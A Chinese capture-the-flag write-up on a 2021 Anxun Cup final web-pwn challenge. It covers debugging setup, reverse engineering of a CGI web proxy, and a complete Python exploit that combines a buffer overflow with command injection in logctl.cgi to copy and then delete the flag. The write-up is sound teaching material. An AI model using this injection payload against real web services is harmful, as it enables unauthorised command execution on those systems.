WEBPWN-再探-安洵final

前言

分析路由器分析的头大,做一道webpwn学习学习

2021年安询杯final

也是给了一个docker环境

检查保护

发现PIE没开启,GOT表可写

image-20240902155347159

前置知识

没啥前置知识需要学,看了WEBPWN初探基本上了解原理即可

调试环境

dockerfile

老规矩在dockerfile中添加gdb环境,但是因为这个文件比较大,于是我们再搞个gdbserver进去,这次用ida调试

1
2
3
4
5
6
7
8
9
10
11
12
13
# for debug


RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update &&\
apt-get install -y net-tools vim openssh-server netcat curl gdb git
COPY ./peda /root/peda
RUN echo "source /root/peda/peda.py" >> /root/.gdbinit


# copy gdbserver
COPY ./bin/gdbserver-7.12-x86_64-sysv /home/pwn/gdbserver-7.12-x86_64-sysv

patch elf

在调试的时候,需要在文件的开头进行patch,形成一个死循环,否则没时间patch上去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:0000000000401436 ; __unwind {
.text:0000000000401436 push rbp
.text:0000000000401437 mov rbp, rsp
.text:000000000040143A push r12
.text:000000000040143C push rbx
.text:000000000040143D sub rsp, 139A0h
.text:0000000000401444 mov [rbp+var_139A4], edi
.text:000000000040144A mov [rbp+var_139B0], rsi
.text:0000000000401451 mov rax, fs:28h
.text:000000000040145A mov [rbp+var_18], rax
.text:000000000040145E xor eax, eax
.text:0000000000401460 mov [rbp+var_13958], 0
.text:000000000040146B mov edi, 3 ; seconds
.text:0000000000401470 call _alarm
.text:0000000000401475 mov eax, 0
.text:000000000040147A call sub_402531
.text:000000000040147F mov edx, 1Eh ; n
.text:0000000000401484 mov esi, 0 ; c
.text:0000000000401489 mov edi, offset dest1 ; s
.text:000000000040148E call _memset
.text:0000000000401493 mov eax, 0
.text:0000000000401498 call sub_4031A0
.text:000000000040149D cmp [rbp+var_139A4], 1
.text:00000000004014A4
.text:00000000004014A4 loc_4014A4: ; CODE XREF: sub_401436:loc_4014A4↓j
.text:00000000004014A4 jg short sub_4014BF
.text:00000000004014A4 sub_401436 endp

还是对跳转进行修改为自跳转

用ida的edit->patch program->Assembly来patch。

这里只是介绍一种死循环的方式,大家也可以自己去找合适的patch,jmp $是两个字节的,大家对应修改即可。

调试

  • 直接用gdb去attch调试,命令如下

    1
    2
    3
    4
    gdb attach pid
    set $rip=dest_addr
    b addr
    c

    在gdb的时候可能会遇到问题,gdb返回"ptrace: Operation not permitted.",这时候直接用特权模式启动即可

    1
    docker exec --privileged -it mywebproxy_my-proxy_1 /bin/bash

    原因是Ubuntu 16.04 的/etc/sysctl.d/10-ptrace.conf文件中最后一行默认

    kernel.yama.ptrace_scope = 1
    这个值不允许用户使用普通账户使用attach ID连接程序进行调试,需要使用超级用户权限才能连接。

  • IDA+gdbserver调试

    这里主要介绍这种方法,因为调试大文件还是比较清晰的,不用一点点的看汇编

    gdbserver

    首先在docker中启动gdbserver,命令如下,182是你要调试的进程号,23946是你对外开放的端口,这里需要将docker的23946端口也映射出去

    1
    ./gdbserver-7.12-x86_64-sysv --attach  127.0.0.1:23946   182

    我将23946端口映射到了23945

    ida

    启动ida,打开对应的程序,调试器选择remote GDB debuger,然后调试器选项设置对应的主机和端口

    直接启动调试即可成功attach,attach一次后可以选择附加到进程,找到你要调试的进行继续attach也可以

    image-20240902161438998

分析

第一段数据

这里首先就是先读取一段数据,然后提取出来

image-20240902172017152

第一段读取出来的数据为

1
2
3
4
s  = "GET /wifictl.cgi?ring_token=1 HTTP/1.1" 
s1 = "GET"
v27= "/wifictl.cgi?ring_token=1"
v29= "HTTP/1.1"

第二段数据

读取第二段数据,并且需要存在X-forword-For字段,提取对应的数据

image-20240902172443861

输入的数据如下,在sub_4030A5对输入的ip进行了判断是否合规

1
2
s ="X-Forword-For: 192.168.1.1\r\n"
dest = 192.168.1.1

get&是否有参数

image-20240902173754267

可以这段代码判断了是否是get的请求,并且haystack就是wifictl.cgi?ring_token=1,于是存在进入sub_4032D8流程

sub_4032D8

image-20240902174555504

该函数对参数进行解析然后存储到某个地址去,这在sub_4034FD函数中实现了

sub_4034FD

image-20240902175302628

申请空间并存储我们的数据,

执行函数

回到main函数,后面对dest和一个数组进行了比较,看了一下数据是{login.cgi,logout.cgi,wifictl.cgi,logctl.cgi}这些路径,最后判断代理的ip是不是(192.168.1.*)*是小于20的一个数,然后去执行对应的代码,还判断是否存在ring_token的参数

image-20240903094719134

wifictl

首先看wifictl函数,发现判断了ring_token然后打印了一个时间

image-20240903095049763

logctl

顾名思义是一个记录日志的路径,然后判断了ring_token的时间要小于或者等于我们刚才打印的数据,于是直接用即可,然后将我们前面的参数进行判断进入sub_402E56函数,然后我们发现在下面的代码中,对v5的数据进行了拼接并执行,于是我们着重关注v5的值

image-20240903095405464

sub_402E56

发现对a3也就是v5的数据进行修改的只有赋值函数strcpy(a3,v14),然后对v14进行修改的只有v12赋值那段,分析整体逻辑是,发现数据中存在的”$;`’&|<>^\n\r”数据,然后传递给v14,但这里出题人的代码似乎写错了,在 v11[i] = 1;的时候应该用的是 v11[j] = 1;

然后我们发现a2其实是我们输入进入的参数的值,也就是前面的ring_token=1的1,我们也可以构造一个aa=test,就能让a2等于test了

这里没有限制复制的大小,于是我们可以用a2去覆盖掉v14的数据,然后复制给a3,去进行命令注入,最后我们发现需要执行到命令注入需要v6=1,于是我们让最开头的第二个出现特殊字符,就能让v14的开头为;,截断下来导致命令注入,或者用\n截断也可以,那就设置第10个为特殊字符即可

image-20240903095704678

最后执行的命令为

image-20240903101909472

值得注意的是,如果要调试第二个传递的结果需要attach两次才行,第一次attach后修改rip让其正常执行

利用

我们现在已经能有个清晰的思路就是,先获得wifictl函数的那个时间,然后传递给logctl函数的ring_token里面,再构造一个数据溢出,然后命令注入即可,把flag写入/var/www/html后即可直接访问路径获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# import getopt
# import sys
import warnings
import requests
import re
# import json
import socket
import socks
# socks.setdefaultproxy(socks.HTTP, "127.0.0.1", 8080)
# socket.socket = socks.socksocket
from pwn import *
def exp(url):
if url[len(url) - 1] != '/':
print("[-] Target URL Format Error,The last char in url must be '/'.")
return False

warnings.filterwarnings('ignore')
s = requests.session()
s.verify = False
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'X-Forword-For': '192.168.1.1'
}

try:
# print("[+] login...")
ret = s.get("{}wifictl.cgi?ring_token=1".format(url), headers=header, timeout=1000)
if ret.status_code == 200:
if "now time is" in ret.content.decode():
time_ret = re.search(r"now time is (.+?)\.\n",ret.content.decode())
if time_ret is None:
print("[-] time_ret re error, cannot get time")
return False
else:
now_time = time_ret.group(1)
print("[+] now time is " + now_time)
else:
print("[-] time_ret re error, cannot get time")
return False
else:
print("[-] status_code error, cannot get time")
return False

cmd = "a"*9+";" + "a"*(1311-8) + "cat /flag >/var/www/html/flag;"
new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd)
ret = s.get(new_url, headers=header, timeout=10000)
if ret.status_code == 200:
print(ret.content.decode())
else:
print("[-] status_code error, cannot get flag")
return False

ret = s.get("{}flag".format(url), headers=header, timeout=8)
if ret.status_code == 200:
print(ret.content.decode())
else:
print("[-] status_code error, cannot get flag")
return False
cmd = "a;" + "a"*1311 + "rm /var/www/html/flag;"
new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd)
ret = s.get(new_url, headers=header, timeout=10000)
if ret.status_code == 200:
return True
else:
print("[-] status_code error, cannot rm flag")
return False

except Exception as reason:
if 'timed' in repr(reason) or 'timeout' in repr(reason):
print('[-] Fail, can not connect target for: timeout')
return False
else:
print('[-] Fail, can not connect target for: {}'.format(repr(reason)))
return False



if __name__ == '__main__':
exp("http://192.168.52.128:1933/")